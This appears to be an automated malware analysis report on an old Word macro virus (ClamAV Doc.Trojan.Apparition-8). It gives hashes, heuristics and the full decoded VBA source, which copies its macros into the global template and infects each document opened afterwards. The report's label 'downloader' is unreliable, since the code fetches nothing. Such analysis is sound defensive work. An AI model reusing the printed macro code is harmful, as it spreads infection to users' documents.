Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b809e4615c4619a0…

MALICIOUS

Office (OLE)

34.0 KB Created: 1997-04-10 21:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a310e2f15eb356301451d3ef8cdaddf9 SHA-1: 25bfdde39cb8f2bc403ef7b1b4943e56a2068f19 SHA-256: b809e4615c4619a05a26a057e682bad9f28c7e825d2987c861627fc66bff33b1
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing VBA macros, including an AutoOpen macro designed to execute automatically. The AutoOpen macro attempts to copy itself and other macros ('WWUpdated', 'DaniloffMuDaK') to the global template, suggesting an intent to establish persistence or facilitate further execution. The presence of 'AVP for Winword' strings and the macro copying behavior are indicative of a malicious macro downloader.

Heuristics 4

  • ClamAV: Doc.Trojan.Apparition-8 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Apparition-8
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2114 bytes
SHA-256: 32d60c192fd17264b4ccb39194466eb9cfaa1b939507e72c3cda6aa2c196801f
Detection
ClamAV: Doc.Trojan.Apparition-8
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim hru
Dim j
Dim i
On Error GoTo -1: On Error GoTo fail
hru = 0
j = WordBasic.CountMacros(0, 0)
For i = 1 To j
 If WordBasic.[MacroName$](i, 0, 0) = "WWUpdated" Then hru = 1
Next i

If hru = 1 Then GoTo fail

WordBasic.MsgBox "Gnoi"

WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoOp"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":WWUpdated", "Global:WWUpdated"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":DaniloffMuDaK", "Global:FileOpen"
fail:
End Sub

Attribute VB_Name = "WWUpdated"

Public Sub MAIN()
'Presence of AVP for winword
End Sub

Attribute VB_Name = "DaniloffMuDaK"

Public Sub MAIN()
Dim OurCopyright$
Dim AVPcopyright$
Dim DowniloffCopyright$
Dim sQuestion$
Dim gnoi
Dim iCountMacros
Dim i
Dim zu$
' this macro loaded in normal template as FileOpen
OurCopyright$ = "Co-Copyright (cc) LordAsd and Stainless Steel Rat"
AVPcopyright$ = "AVP for WinWord v1.0"
DowniloffCopyright$ = "DaniloffMuDaK"
sQuestion$ = "Would you like to "

Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
On Error GoTo -1: On Error GoTo fail
WordBasic.CurValues.FileOpen dlg
WordBasic.Dialog.FileOpen dlg
WordBasic.FileOpen dlg
WordBasic.MsgBox WordBasic.[FileName$]()

gnoi = 0
iCountMacros = WordBasic.CountMacros(1, 0, 0)
For i = 1 To iCountMacros
 zu$ = WordBasic.[MacroName$](i, 1)
 If zu$ = "WWUpdated" Then gnoi = 1
Next i

If gnoi = 1 Then GoTo fail
WordBasic.FileSaveAs WordBasic.[FileName$](), Format:=1
WordBasic.MacroCopy "Global:AutoOp", WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.MacroCopy "Global:WWUpdated", WordBasic.[FileName$]() + ":WWUpdated"
WordBasic.MacroCopy "Global:FileOpen", WordBasic.[FileName$]() + ":DaniloffMuDaK"

WordBasic.MsgBox "Suxx"
fail:
End Sub

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